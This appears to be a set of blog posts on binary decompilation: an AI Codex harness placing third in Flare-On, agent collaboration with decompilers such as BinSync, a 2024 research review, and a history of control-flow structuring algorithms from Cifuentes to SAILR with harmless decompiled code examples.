Last weekend, a lightweight harness I made around Codex finished 3rd in Flare-On 13, one of the hardest CTFs in reverse engineering. I had only one goal while making it: to build something faster, lighter, and easier to optimize than other people’s AI setups (regardless of model). My theory was that replacing the tools and skills with faster alternatives, like my own optimized decompiler Kuna, could help me eke out a decisive victory. I analyzed some of this data, and the core tools did in fact play a strong role. Of course, I had also tested it on multiple CTFs beforehand, but there is nothing like a good ol’ scoreboard to see the horses run live! This result, along with my experiences over the past year, has led me to believe that improving speed and reducing cost will be endgame goals for autonomous hackers.

This idea really took shape in my mind last summer at DEF CON CTF Finals, arguably the Olympics of hacking. Every top-notch group of hackers, including us, relied heavily on AI agents in the competition, often to solve challenges autonomously. Many points were decided simply by whose agent solved the challenge faster. Back then, we started benchmarking our autonomous system to see where we could optimize it (a much bigger, closed system than the one I described above). One area for optimization was how the decompiler helped agents reason about code.

I focused on optimizing one tool, the decompiler Kuna, around what I believed AI needed. It was fast and moved decompilation output out of MCP and into text files that looked more like source code. On a dataset from crackmes.one, we found our Kuna-based system solved challenges using about 45% fewer tokens than the system using IDA Pro 9.4 MCP. Its solve times were also about 9% faster than IDA’s or on par with them. These results are preliminary, and the dataset could always be bigger, but I suspect there are many more opportunities for this kind of optimization in AI hacking.

I like to think of those who build, optimize, and manage these autonomous hacking systems as Hackwrights. Hackwrights are builders with a hacker’s intuition. They may not be traditional hackers who have mastered the art themselves. I believe CTFs can continue to grow and satisfy both groups. But I understand that there is a lot of anger, fear, and grief surrounding this idea.

Responding to AI Doom in Hacking

There has been a strong sense of doom in the community around AI in hacking. Not everyone was happy to see AI on the Flare-On scoreboard; it has prizes, after all, and I won’t be claiming any. I argue all CTFs should have separate autonomous and human brackets, each with its own prizes, to mitigate some of this fallout. There should always be a place for humans to learn how to hack and compete, much as there is in chess. But there should also be room for Hackwrights and their constructions.

To my fellow hackers, can we not find joy in both directions hacking is evolving? Yes, CTFs have completely changed, and perhaps the balance of power has shifted away from humans. Yet, in part, this has been many teams’ goal since the early days of CTF. I have always fantasized about showing up to a CTF with a better tool to flex on other teams. That same motivation has helped us advance cybersecurity for society at large.

We have the chance to make a broader impact on society through fast and cheap automation. Luckily, that optimization process can also be incredibly fun and competitive. I want to see more hope and excitement back in my community. I want to see what the fastest AI hacker built by cunning Hackwrights looks like (ideally open source).

Race you to the flag!

Note: This post is a copy of a think piece written for Hex-Rays and originally published there: https://hex-rays.com/blog/llms-have-reshaped-how-we-think-about-decompilation-and-collaboration. It is saved here for posterity.

Shifting Times

A few weekends ago, I was playing DEF CON CTF Quals, the qualification event for the “Olympics of Hacking,” with my team Shellphish. I say “playing” because I am, at this point, a washed-up hacker, but add me to the 40-something ranks! Nonetheless, I showed up, downloaded a binary, and went to open it in IDA Pro: a reflexive, built-in response to anything compiled. But as that ever-knowing face rendered on my screen, I paused for a moment to take in the surrounding feverish hacking. Something was strange: no one else had IDA Pro open. In fact, no one had any decompiler open!

Across the room and on my machine too, we all had Codex open, a flexible coding agent that was now doing the hacking. This agent, of course, had IDA Pro open, because it actually needed to analyze the binary like a real hacker. So what did we, the humans, do for the whole game? We each became a multi-challenge hacker: a sort of general with an army. We spent most of our time suggesting high-level reversing routes, invalidating broken PoCs, and fixing or enabling better tools for our agents.

But after some of our armies began to falter on the harder tasks, we encountered a new problem. How do we coordinate our armies, validate what they found, and know where they are stuck? Or, better put, in this new world of hacking, how do we optimize the way information is relayed and validated in an agent-human hacking environment? Funny enough, this is the premise of this post: we’ve been trying to solve almost this exact collaboration problem for years. Now the same problem is coming back, except the workers are agents and the humans are supervising the whole mess.

Collaborating with Humans

In 2021, days before that year’s DEF CON Finals, we began development on our decompiler collaboration framework BinSync, which recently won second place at the Hex-Rays plugin contest. At the time, it was obvious that no challenge was an island, entire of itself, and so we needed many eyes on one binary. We had two problems then:

1. Not everyone on the team was equally good at hacking (especially me!). Therefore, a level of control was needed to keep noobs and pros from clobbering each other’s work.
2. We had a diverse breakdown of decompiler usage: 70% used IDA Pro, 20% used Binary Ninja, 5% used Ghidra, and 5% used the angr decompiler (mostly Fish and I). We couldn’t just share IDBs, and we couldn’t rely on one-off translations from each tool.

The solutions emerged somewhat naturally. Do not share the whole decompiler database; share the information learned from the binary. Record names, types, patches, and other facts in a form with history and the ability to selectively merge that history: Git! When storing information, lift it from one specific tool (decompiler) into something high-level and human-readable. Finally, to get that information back into each tool, translate it from high-level form back into the tool-specific format (think _WORD versus uint16). This gave every tool a path to collaboration and let pros selectively merge changes from noobs into their local reversing branches. Wrap all of this in a fancy GUI that works on all decompilers, and we were rolling!

Since every atom of information learned was a commit in BinSync, it also created a cool historical way to view team progress. Here is what one DEF CON Quals looked like by commit, with annotations indicating when a challenge was solved. If you look closely, you can see when the team was sleeping.

Before long, BinSync created a way for our team to share information rapidly, but the more interesting thing it created was shared reversing memory. As we (myself, Shellphish, and SEFCOM) continued to refine it, more teams began to adopt it in some form. Eventually, people started using it for open-source reversing (reversing a binary with the diff living on GitHub), which was awesome! This all created a sense that we were trending in the right direction for closing the gap in human-to-human hacking collaboration. The durable lessons were about common representation, history, selective trust, and visibility into progress.

But snap back to reality: does any of this matter now?

Collaborating with Agents

Our recent hacking experience has taught us that humans are no longer the center of the collaboration chain. Agents are now the central workers in any program-hacking task. Agents talk to other agents, which in turn talk to tools, and a final agent talks to us. This reframing makes some previous work less central, but it also opens new avenues for research. Let’s start with what changes.

First, although agents may use multiple decompilers, they are often perfectly happy to translate between those formats themselves, with no BinSync needed. They do benefit slightly from a lifted common format, but those gains may not justify the effort. So, you really don’t need the same translator layer when LLMs are already built-in translators.

Second, agents rarely need help from other agents when reverse engineering. In our early experiments, the majority of binaries you encounter on a system are fully reversible by a single Codex agent. These agents can much more easily “fan out” and explore every path to an exploit through independent work rather than relaying information. Goodbye to Git merging as the way agents send changes to each other.

Third, the human-first GUIs we’ve come to develop, both in BinSync and more broadly in decompilers, matter much less to agents. This hurts especially hard, since those GUIs are often the parts that took the longest to refine.

Not all previous lessons disappear, however. Coordinating many agents with humans for oversight and redirection is actually a lot like being a captain on a big CTF team. You need ways to know where agents are stuck at scale, what they already tried, and how much you should trust what they found. This also matters significantly on multi-binary targets like firmware. Lessons learned from BinSync are beginning to take shape as similar history, provenance, and progress analytics, but for agents. Thanks, Git!

However, harder concepts still exist. For an expert hacker, learning how to effectively redirect or steer these agents is hard to measure and improve. So hard, in fact, that we have published papers and won awards for exploring the early science of this process. But there is still much we do not know. Do you only need to know the right words to unstick a model? Are there higher-level concepts in hacking that improve performance when taught to a model? Can we represent any of this graphically and build better human interfaces for understanding reversing reasoning?

More questions than answers, but isn’t it exciting!?! We are in a whole new era, and the science of hacking collaboration has a new direction.

The Future

I see a few changes coming to a local tool near you. Decompilers, as they exist now, are going to undergo significant change in this age of agent collaboration. The tools best suited for agents will likely be the ones to survive into the next era of reversing. For the first time in a long time, you may see significant changes to the GUIs of your decompilers.

The new interfaces need to toe-the-line on what really must be known by a human, and what instead can be automated. It should expose what agents believe, what evidence they used, what paths they already tried, where they are stuck, and when a human should step in. That is not the same as dumping a chat log next to pseudocode. It is closer to making reversing progress inspectable, an area currently receiving significant money and attention through AI.

For better or for worse, how we collaborate, how we reverse engineer, and how we hack, is changing. The best tools in this next phase will not hide the human or pretend the agent is magic. They will make the handoff between human judgment and agent work cleaner, faster, and easier to trust.

Discovering the ways we can harness that change to improve our lives and the security of the world will require work. We, on the BinSync team, look forward to chasing the next phase of that collaboration and sharing it with you all.

See you on the other side!

Last year, I kicked off 2024 by paying tribute to the last 30 years of decompilation research, where I summarized work in control flow structuring. As 2025 has come along, it only feels right to do a similar post, but instead on a tighter scope of the field’s growth in 2024 alone. Though this field is still small, it feels like it is growing rapidly. 2024 featured a talk tour by the decompilation pioneer Dr. Cristina Cifuentes, a world-renowned decompilation panel at Recon 2024, and the highest top-tier publication record in history for decompilation.

For me, 2024 was filled with lots of travel and new colleagues. Many of these new colleagues are decompilation practitioners, rising experts, and even bonafide field pioneers. They reign from academia and industry alike, and many have their own vision for where they believe this field is going. However, there is a unifying trend in vibes: decompilation research is back.

A Surge in Academic Work

Academia, publications, and graphs don’t always tell the whole truth about a field, but it’s a great place to start. The graph below shows the number of decompilation works published in academic venues since 1993 (the earliest academic work).

The graph data is sourced from my list of decompilation works made for the Decompilation Wiki. It includes nearly every paper from software engineering, programming languages, and security conferences published from 1970 onwards. The papers graphed above are exclusively works in decompilation, as opposed to works in compilation that contributed to decompilation (see sheet for more info).

Starting in 2011, the total number of top-tier published papers (as defined by csrankings) was 25. Amazingly, 30% of all top-tier work was published in 2024, 8 papers in total. It’s hard to claim line trends with such a small dataset (usually one paper a year), but 2024 is clearly out of place. 2024 more than doubled the total top publications in 2022, which had also doubled 2020.

Interestingly, we also see a trend of the top vs low-tier publications for academics. Decompilation has traditionally been saturated in non-top-tier conferences. It’s hard to know why, but I speculate it’s due to decompilations’ difficulty to publish in top conferences. However, we’ve recently seen top publications close to or exceed non-top publications in quantity.

This data indicates two things to me:

1. Decompilation is now mature enough to publish in top-tier
2. Decompilation is growing rapidly

This is great news, but is field health just about quantity? What about quality? Well, let’s take a closer look at three emerging trends from the eight works published in 2024.

Trend 1: Defining “Good” Decompilation

Often, decompiler enthusiasts argue about what the “best” decompilation looks like, primarily with no good answer. Luckily, four of the eight new works measured and defined what good decompilation should look like. These studies were both automated and human-driven and often defined new ways to improve decompilation for the future. Take, for instance, the work from Dramko et al. on studying “Decompiler Fidelity Issues”, pictured below.

His work took the gracious time to define what exactly is wrong with decompilation manually. To the savvy decompiler user, this may seem like a grouping of well-known problems. However, this work establishes a precedent: good decompilation looks like its source. Interestingly, this work’s claim coincides with work published simultaneously, SAILR (my work). SAILR, extended this manual effort by introducing an automated algorithm for finding mismatches in source and decompilation and improving those locations, which may find itself in Ghidra soon. Both work towards making decompilation like source.

On the other end of the spectrum, one work, R2I, defined good decompilation as being simple, much like previous work. They focus on finding the best decompilation by comparing decompilers against each other. Finally, the last work defined good decompilation as being semantically accurate. The work D-Helix used symbolic execution to verify if decompilation was like its source, finding actual bugs in decompilers.

To keep count, 2 vote source code recovery, 1 vote simple code recovery, and 1 vote semantically correct. These works open the door for continued development and publication in decompilation research.

Trend 2: AIxDecompilation is Here to Stay

If you’ve ever talked to me in person, you’d know that I’m a disbeliever of AI replacing decompilers any time soon. However, 2024 research has made it clear that AI has a real place in improving specific tasks in decompilation. There were four works utilizing AI in 2024, working on symbol prediction, type prediction, and overall code simplification.

LLMs made their debut in decompilation in two works: DeGPT and ReSym. Both utilized LLMs to recover variable names, structures, types, and, in the case of DeGPT, code simplification (though very limited). Other works used more traditional models to do singular tasks. VarBERT utilized a BERT model to predict variable names, while TyGr utilized a GNN to predict structures and variable types.

Here are some of the inspiring results of structure recovery from AI works (ReSym shown below):

These works resulted in a strict improvement over traditional decompilation, which almost always lacks types and symbols. It’ll be interesting to see if these approaches can improve with bigger models (coughs in o1) and how much of the fundamental components in decompilers can be replaced. I think it will only get better from here.

Trend 3: Theory comes with Application

I often feel that industry looks down on academia because we frequently have unusable inventions and theories. Being a mainly applied science, decompilation must be the exception to these expectations, and luckily, it was in 2024.

In all but 1, each 2024 paper came with an open-source implementation. Many of those implementations had working tools that could be integrated into real-world decompilers and techniques. Considering that back in 2011, none of the decompilation works were open-source, this is a massive step in the right direction.

This trend allows the industry to gain usefulness from work in decompilation research more rapidly, making it more valuable. Additionally, it makes it easier for new researchers to quickly understand flaws in previous work and look for new directions. I encourage others to make usable and open-source implementations of their epic works so we can all nerd out together about them.

Other Researchers and Conferences

Aside from direct academic publishing, many other things flourished this year for decompilation. There were big updates for big decompilers, fundamental changes for smaller ones, new industry approaches in full-AI decompilers, and some great talks across the cons. I’d also like to acknowledge all the unpublished researchers who showed me really cool things in 2024, like a DSL for decompilation.

For most of 2024, Dr. Cristina Cifuentes (the academic pioneer of decompilers) toured the world, giving talks on her work in shaping the last 30 years of research. From my perspective, this peaked when she gave the keynote at Recon 2024. The announcement of her talk set off a flurry of talk proposals on decompilation at Recon, totaling five talks involving decompilation and including a decompilation expert panel.

The panel, consisting of industry and academic experts, was epic, to say the least. To name a few, it included:

• Dr. Sergey Bratus, a previous DARPA PM and kickstarter of significant DoD investment in decompilation
• Ilfak Guilfanov, the creator of IDA Pro
• Rusty Wagner, the man behind some of the biggest changes in Binary Ninja

Dr. Cifuentes grilled each panel member to give their honest opinions on the future of decompilation. Many said, “There is more to do and more breakthroughs to be had.” One such panel member, Ilfak, the current king of decompilers, said otherwise but admitted that breaking a decompiler was as easy as “breaking a baby.” To summarize, it was a meeting of legends that inspired the community to keep pushing.

Note: no babies were harmed in the making of these decompilers.

Concluding

With the trend of publications, new findings, and general expert vibes, I can only conclude that 2024 was a special year for decompilation. This is the field’s most active year since its inception in the 90s. I remain optimistic that it is only the beginning of the research that will come in decompilation. That also makes 2025 a spectacular year to ride the new excitement in the field and do great research, both from new and old researchers.

If you are a rising expert (or a zany practitioner), I encourage you to contribute your knowledge to the Decompilation Wiki so it may continue to organize and guide the field. Additionally, if you have any smaller research in decompilers you think is neat, consider following me on some social media, where announcements for a new decompilation workshop may come. The conference to be co-located at is still being discussed, but I’m actively looking to gauge interest from the community.

Finally, I’d like to acknowledge Dustin Fraze for his work on DARPA’s CHESS program, which funded and made many of this research possible. He also reports bugs in decompilers a lot… ha! Thank you for reading and joining me on this journey through decompilation. Here’s to 2024 and the exciting research to come in 2025!

In Part 1 of this series, we looked at the past 30 years of decompilation, providing a broad overview of how the field has been shaped. We also briefly covered how Cifuentes-based structuring worked: graph-schema matching, where an algorithm identifies patterns in CFGs to make code. Part 1 also garnered some interesting discussion across the web on Hacker News, Reddit, and Twitter among others. Generally, I think the community is very alive and excited about research and posts in this area, which is encouraging :).

In this post, we focus on only four papers from the last 11 years:

2024: USENIX   - Ahoy SAILR! There is No Need to DREAM of C: A Compiler-Aware Structuring Algorithm for Binary Decompilation
2020: Asia CCS - A Comb for Decompiled C Code
2015: NDSS     - No More Gotos: Decompilation Using Pattern-Independent Control-Flow Structuring and Semantic-Preserving Transformations. 
2013: USENIX   - Native x86 Decompilation Using Semantics-Preserving Structural Analysis and Iterative Control-Flow Structuring.

These papers, together, make up the entire history of decompilation structuring research in the security community. We will briefly overview the methods proposed in each of these works and how they influenced the next paper. Admittedly, the final paper in this series is SAILR, my paper. As such, I’ll be using many of the same arguments and questions I used in my paper to understand previous works mentioned here. As said in the summary of this post, Part 2 will be more technical than Part 1, but it should be accessible to newcomers.

As a reminder, though these are all of the decompilation structuring papers in security, many structuring techniques were informed from other fields and conferences. These include the research communities for compilers, static analysis, and programming languages. Here are some notable ones listed for completeness which will not be covered in this post:

2022: Beyond Relooper: recursive translation of unstructured control flow to structured control flow (functional pearl) 
2011: Emscripten: an LLVM-to-JavaScript compiler
1997: Making Graphs Reducible with Controlled Node Splitting
1973: On the capabilities of while, repeat, and exit statements
1970: Control flow analysis

Phoenix: Condition-Aware Schema Matching

The 2013 work Phoenix came at an interesting time since when it was published IDA Pro had an openly working decompiler for over 6 years. IDA Pro had been generating code that was better than other decompilers, but no one in the academic community knew why for certain (because it’s closed-source). In many ways, Phoenix was an attempt to make public the techniques that IDA Pro had been using to beat others, though Phoenix itself was never open-sourced. As such, the Phoenix decompiler core is much like Cifuentes’ work on schema-matching, but with improved condition awareness and more schema.

Phoenix elaborated on many of the modern mechanics of structuring, such as loop refinement, switch refinement, condition handling, and even some special if-else case structuring. This was important enough that some hacker decompilers, like Reko, implemented much of the Phoenix paper. However, some of the largest impacts Phoenix had on the future of decompiler research can be surmised in three proposed points:

1. When you run out of good schema to match, you must use a goto. The process of turning an edge into a goto is called virtualization.
2. Gotos in decompilation are bad, reduce them.
3. Coreutils is a good dataset for the evaluation of decompilers.

To understand some of those claims, let’s look back at our example graph from Part 1:

Example Graph

Recall, that B-E makes a good if-else, but A->C violates that structure. In Cifuentes’ work, you’re allowed to also remove A->B, which will result in something structurable. Phoenix introduces more rules to choosing which edge to virtualize (make into a goto):

“… remove edges whose source does not dominate its target, nor whose target dominates its source.”

Under these rules, you must choose to virtualize A->C. After virtualizing, your graph loses an edge and it’s recorded as a goto. The resulting graph looks like this:

Example Virtualized Graph

Now the graph is only full of schema we can match, resulting in structured code with only 1 goto. Had you chosen to virtualize A->B instead, you could end with 2 gotos. Indeed, in the case of this CFG, 1 goto was better than 2 gotos. According to Phoenix, this phenomenon remains consistent as you reduce gotos: gotos are considered harmful.

The most popular decompilers today follow the same principles outlined in Phoenix. That list includes Ghidra, IDA Pro, and Binary Ninja. I largely attribute their differences in output to be either based on better schema (IDA case) or better lifting (Ghidra case).

The idea that you should reduce the number of gotos emitted in decompilation had a profound effect on the research direction future academics took. Gotos became the prime metric for making your decompiler better. With a metric to min-max, the next two papers focused on doing just that: getting gotos emitted to 0.

DREAM: Schemaless Condition-Based Structuring

2015 was an active year for decompilation, amounting to many hacker decompilers and a new structuring algorithm. The paper “No More Gotos: Decompilation Using Pattern-Independent Control-Flow Structuring and Semantic-Preserving Transformations”, colloquially referred to as DREAM, boasted a novel algorithm that could output decompilation with 0 gotos. This is a significant feat, considering, according to the DREAM paper, Phoenix had over 4,231 gotos in their output of Coreutils.

To make such a quantitatively large jump required a drastically different structuring algorithm. DREAM proposed the idea that you don’t need schema when making decompilation. Instead, you can use the conditions on statements to generate semantically equivalent code. Taking a look at our example CFG, DREAM would initially generate the following code based on its conditions:

A();
if (~x)
  B();
if ((~x && y) || x)
  C();
if (~x && ~y)
  D();
E();

Note, DREAM would avoid making conditions for E, since it dominates everyone. After that, DREAM simplifies the boolean expressions to get the following:

A();
if (~x)
  B();
if (x || y) {
  C();
}
else {
  D();
}
E();

DREAM accomplished a very interesting and effective way to make code that is always goto-less. However, DREAM also came with two fundamental drawbacks to its approach:

1. Simplifying arbitrary boolean expressions is NP-Hard
2. Destroying every goto means gotos that existed in the source get eliminated

First, in practice, it’s easy to find code with many conditions in it. For instance, here is some DREAM (implemented in angr) decompiled code from tail in Coreutils:

tail: ignore_fifo_and_pipe

        if (!v2 && !a0->field_34 && a0->field_38 >= 0 && (a0->field_30 & 0xf000) == 0x1000)
        {
            a0->field_38 = -1;
            a0->field_34 = 1;
        }
        if (a0->field_38 < 0 || v2 || a0->field_34 || (a0->field_30 & 0xf000) != 0x1000)
            v1 += 1;

If the SAT problem was solved, you could have reduced those two expressions. Because you can’t guarantee you can simplify an expression, you are left with many overlapping booleans. In a slide from my Ohio State Talk, I counted the number of Boolean operators in DREAM and other algorithms output. DREAM had around 9,600 Booleans. Phoenix had 342. The source code (Coreutils) had 1,256.

Though with its flaws, DREAM still had an important effect on decompilation. Namely, it introduced the importance of Single-Entry Single-Exit (SESE) Regions, which played a fundamental role in future papers. It also had a follow-up paper that explored how this algorithm might work on C++ with a human study.

So, what could a goto-less output be like if we got around the boolean expression simplification problem?

rev.ng: Code Cloning Schema-Matching

About five years after DREAM, in 2020, the paper “A Comb for Decompiled C Code” was published about its decompiler rev.ng, a closed-source commercial decompiler. The rev.ng decompiler targeted the same end goal as DREAM: 0 gotos in decompilation. However, it achieved this through a different means, sticking with schema-based algorithms as its base. Learning from DREAM, the rev.ng approach avoids simplifying booleans and instead uses a new, but intuitive, algorithm called Combing.

Where DREAM duplicated conditions (as a result) to eliminate gotos, Combing duplicates actual code to fix CFGs before they are structured. In this way, rev.ng uses the same structuring algorithm base as Phoenix, but fixes the CFG before structuring. Combing attempts to turn every graph into a series of layered diamonds, which results in nicely structured if-else trees. Using our example CFG once again, we can see the result of “Combing” the CFG:

Combing Example Graph

Take note, that the original graph only had one C node, but now there are two. Previously, an edge from A->C caused a goto, so Combing copied the code at C and made it a new node. This new structure results in a perfect layering of diamonds, resulting in the following code through Phoenix now:

A()
if (x) {
  C();
}
else {
  B();
  if (y)
    C();
  else
    D();
}
E();

As some Redditors on r/Compilers discussed, this concept can lead to an exponential increase in code. This also so happens to duplicate code when you may have had the opportunity to solve it with more schema. Similar to DREAM, the largest issue with this approach is its divergence from the source that contains gotos.

At this point in the blog post, we approach the final paper in this series of structuring, SAILR. As the first author of this paper, I’ll be talking about this section a little differently from the others. Much of the progression of this story, as well as its fueling questions, was produced by my work on SAILR.

SAILR: Compiler-Aware Structuring

After understanding the fundamental gains each of these papers had, you may still have some lingering questions. In Phoenix, we reduced gotos with more schema. In DREAM, we reduced gotos at the expense of duplicating conditions. In rev.ng, we reduced gotos at the expense of duplicating code. But one thing never answered was, why do gotos even exist in decompilation? Also, is goto reduction the best way to measure when decompilers are improving?

In our 2024 work “Ahoy SAILR! There is No Need to DREAM of C: A Compiler-Aware Structuring Algorithm for Binary Decompilation”, referred to as SAILR, we explored these questions. We also open-sourced the entire decompiler, evaluation pipeline, and reimplementations of all previous work mentioned here.

Back to our first question, why do gotos exist in decompilation? In schema-based structuring algorithms, we know that gotos appear because there are no more schemas to match a section of the CFG. But why do the CFGs generate unstructurable patterns in the first place? Surely, if you compiled code with no gotos you should always be able to structure the graph without gotos?

As you likely guessed, when you compile goto-free code you can get decompilation with gotos. Take this simplified example based on the SAILR paper:

Comparing Code and Decompilers

// ====================
if (a && b)
  puts("first");

puts("second");
if (b)
  puts("third");

sleep(1);
puts("fourth");

// ====================
if ( a && b )
{
  puts("first");
  puts("second");
  goto LABEL_6;
}
puts("second");
if ( b ) {
LABEL_6:
  puts("third");
}
sleep(1);
puts("fourth");

// ====================
if (a && b) {
    puts("first");
    puts("second");
}
if (!a || !b)
    puts("second");
if (b)
    puts("third");
sleep(1);
puts("fourth");

*Others include any Phoenix-based decompiler like Ghidra and Binja. SAILR is the exception, which produces the source code exactly in this example.

The code was compiled with gcc -O2, the default compiler optimization level for packages in Linux. Indeed, IDA Pro has both a goto and duplicated code (puts("second")). In SAILR, we found that the cause of most gotos is just 9 compiler optimizations, most found in O2. For any savvy decompiler people, these findings suggest that reducible graphs are unimportant to decompilation structuring. The only way to ever get rid of these gotos, while maintaining structure like the source, is to revert them precisely.

This realization was important because up until this point, we had been removing gotos from decompilation without knowing why. Doing something without understanding the root cause always results in side effects, as seen in DREAM and rev.ng. However, doing nothing results in decompilation with gotos that did not exist in the source, as seen in Phoenix.

With this in mind, we fought on two fronts. First, we made our decompiler revert all 9 compiler opts precisely to undo their transformations that made gotos. Second, we measured which decompiler was doing the best by comparing their decompilation to the source using a sped-up version of Graph Edit Distance (called CFGED). With Control-Flow Graph Edit Distance (CFGED), a decompiler can still have gotos in its output and get a good score if it matches the source.

A perfect decompiler should produce a 0 CFGED, meaning 0 graph edit distance, and the same gotos as the source. Here is how everyone did in a condensed graph derived from the paper on 26 C packages:

As you might’ve guessed, goto-less algorithms do the worst when you compare them to their original source. IDA Pro has the best CFGED score, but still produces a huge amount of fake gotos. Our algorithm to produce a CFGED score on source for your own decompiler is open-sourced, so get yours evaluated today!

In conclusion, SAILR can be summarized into three points:

1. Gotos are caused by compiler optimizations, many of which you can revert.
2. CFGED is a new algorithm to fairly measure your distance from source.
3. Not all gotos are evil.

For more information on how CFGED works, how you might revert optimizations, or how we discovered which optimizations cause gotos, read our paper. The appendix also has a nifty step-by-step of the CFGED algorithm in practice. Additionally, if you want to try out any of these previous works in the real world, check out our sailr-eval repo for how to use angr with previous structuring algorithms.

Wrap Up

And here we are, at the end of this whirlwind of a post series. Many issues still exist in decompilation aside from structuring, such as low fidelity to source, weak editability, no recompilability, and other sub-topics such as poor symbol recovery. Of these issues, I find, possibly biasedly, that control flow structuring is the most interesting. I hope after reading this, you find it interesting too, since it’s still unsolved!

Even with our work on SAILR, which got us much closer to source, there is still so much more the community needs to discover. Notice that in the graph on CFGED v Gotos, SAILR is still nearly double the gotos of the source and nowhere near 0 CFGED. The future of perfect decompilation is tied to improving these two scores. I believe with open and community-driven work, we will achieve near-perfect decompilation.

I’d like to acknowledge the DARPA AMP program for funding this research. Lastly, I’d like to thank you, the reader. Your support motivates us to keep pushing the boundaries of what is possible.

As 2024 begins, I’ve taken a moment to think about the last year(s) of decompilation research, since I spent most of my 2023 working on decompilation. I’ve largely spent that time working on a fundamental area of decompilation research called control flow structuring. Although I find this area critical to decompilation, I realize most security people have only heard of it in passing. With that in mind, I wanted to take a moment to recap the (short) history of binary decompilation and structuring, loosely based on my Ohio State talk on the same topic. I also mix in some of my advisor’s, Dr. Fish Wang, NDSS talk.

To clarify, this post will be about binary decompilation, or decompilation on programs produced by compiled languages like C, C++, Rust, and Go. I will focus on the history of decompilation as preliminary information needed to understand the control flow structuring. Luckily (or unluckily?), decompilation as a research area has a relatively small history, even considering non-academic approaches like IDA Pro.

Decompiler Origins

Many researchers credit Dr. Cristina Cifuentes with publishing the first work on decompilation in her 1994 dissertation “Reverse Compilation Techniques”. However, other decompilers also existed at this time, and are documented on program-transformation.org. In Cifuentes work, she reaffirms the idea that after we have a disassembled program, in the form of a Control Flow Graph (CFG), we still have more work to do:

“The control flow graph … has no information on high level language control structures such as if..then..elses and while() loops. Such a graph can be converted into a structured high level language graph by means of a structuring algorithm.”

A structuring algorithm takes this CFG, which may already be lifted to an intermediate language (IL), and converts it into high-level structures. In Cifuentes work, the structuring algorithm matches patterns in the graph, referred to as graph schema, and marks them as structures. Some of those schema can be seen below:

You keep identifying structure, bottom-up, until you run out of structures to identify. Take note that it is always possible to exhaust patterns in the graph and make C code because of the special goto structure. Indeed the goto structure can be constructed from any node with an edge, which must be used sparingly for decent code.

Let’s run an example to briefly understand how this works. Below you will find a five-node CFG, which has been lifted from an assembly graph:

Example Graph

That diamond pattern encapsulated in B-E is a classic if-then-else structure, where y is the condition. Unfortunately, there is also an edge slamming right in the middle of that structure: A -> C, violating the known pattern. Intuitively, you can’t have an edge entering in one of the scopes of an if… unless that edge is a goto! Cifuentes doesn’t introduce a clean-and-cut method to know which edge to make into a goto, but we assume A->C would be best. In this case, it results in the “best” possible output for this graph:

Example Structured Code

A();
if (x)
    goto C;
B();
if (y) {
    C:
    C();
}
else {
    D();
}
E();

Note, there are many ways to output this code and many edges that could’ve been chosen to make the goto. Small choices like what edge becomes the goto, what condition is flipped in an if, and how you reduce scopes (like me omitting the else of if (x)), can drastically affect the quality of the output. With this in mind, any lifted (or assembly) CFG has many possible structured-C outputs as options. At runtime, we don’t know which of those options (if any of them) is the original C that generated the CFG. We’ll explore more of those ideas, goto choosing, and alternate algorithms in Part 2 of this post series.

Let’s continue with some history. Much of this work on control flow structuring was directly inspired and led by the work in compilers. One such work was “Compilers: Principles, Techniques, and Tools,” published in 1986.

Here is a snippet of code produced by the 1994 dcc, the decompiler introduced in Cifuentes work:

#include "dcc.h"

void proc_1 (int arg0, int arg1, int arg2)
{
    int loc1; 
    int loc2; 
    int loc3;
    loc2 = 0;
    while ((loc2 < 5)) {
        loc3 = 0;
        while ((loc3 < 4)) {
            loc1 = 0;
            while ((loc1 < 4)) {
                *((((loc2 * 10) + arg2) + (loc3 << 1))) = 
                    ((*((((loc2 << 3) + arg0) + (loc1 << 1))) *
                    *((((loc1 * 10) + arg1) + (loc3 << 1)))) +
                    *(((loc2 * 10) + arg2) + (loc3 << 1 ))));
                loc1 = (loc1 + 1) ;
            ｝
            loc3 = (loc3 + 1);
        ｝
        loc2 = (loc2 + 1);
    }
}

void main ()
{ 
    int loc1; 
    int loc2; 
    int loc3;
    proc_1 (&loc3, &loc2, &loc1);
}

It’s rugged, lacking variable collapsing and any meaningful structure simplification, but hey, it works! I think the first thing you may notice is the over-use of while() loops in the program. This is of course because you can wrap most structures in a while and end it with a break to guarantee scopes are correct. You’ll notice modern decompilers still do this when scopes get wonky.

I generally summarize Cifuentes’ dissertation as identifying (implicitly) three fundamental pillars of decompilation:

1. CFG recovery (through disassembling) & Lifting
2. Variable recovery (including type inferencing)
3. Control flow structuring

Although these areas had much work to be done in 1994, other academics did not approach them deeply for many more years. However, hackers across the world are now ready to make their own decompilers, following the same general ideas.

The Dawn of Hacker Decompilers

It would be impossible to list all the decompilers that popped up post-Cifuentes, so instead, I will list the ones that still live today. Luckily, you already know one of them: IDA Pro, which established its decompiler HexRays in 2007, and continues to dominate the decompiler game today. That same year, listed as a few months earlier, Reko decompiler, an open-source alternative, released its first decompiler version. Both IDA and Reko follow the general ideas introduced in Cifuentes’ work, structuring graphs into code by matching known schema that compilers follow. Some assume that IDA Pro took this to a new level by doing some condition-checking to reduce structures at this time.

Much of the work at this time follows the same ideas, with varying success, but research in the academic world started around 4 years later in 2011. Without jumping too far into the future, it’s worth noting Snowman and fcd decompiler were also released in 2015. At that same time, Vector35, the company behind the Binary Ninja decompiler, was founded. I like to assume that around the development time of IDA Pro, Ghidra was also developed. If you know of any other decompilers that belong here, please let me know on social media or in the comments.

The Academic Pickup

Academic work picked up in decompilers again in 2011 with the Carnegie Mellon team publishing “TIE: Principled reverse engineering of types in binary programs”, a new way to recover types (and variables) in CFGs. I include this paper because it’s used extensively in their 2013 decompiler work, “Native x86 Decompilation Using Semantics-Preserving Structural Analysis and Iterative Control-Flow Structuring”, colloquially known as Phoenix. Last August (2023), Phoenix turned 10 years old.

The Phoenix paper was the first decompilation control flow structuring algorithm to be published in what security academics refer to as the Top 4: USENIX Security, CCS, S&P, and NDSS, the distinguished security conferences as noted by CS Rankings. This is significant because it signals to other researchers that decompilation is publishable!

After Phoenix, I assumed the Top 4 would be filled with fundamental research in decompilers, like control flow structuring. However, the field has remained rather quiet for the last 20 years. Using a simple title grepping tool for the Top 4, top4grep, we can see papers published since 2000:

top4grep -k decompil
[Top4Grep][INFO]12-29 18:04 Grep based on the following keywords: decompil
[Top4Grep][DEBUG]12-29 18:04 Found 10 papers
2024: USENIX   - Ahoy SAILR! There is No Need to DREAM of C: A Compiler-Aware Structuring Algorithm for Binary Decompilation
2024: USENIX   - A Taxonomy of C Decompiler Fidelity Issues
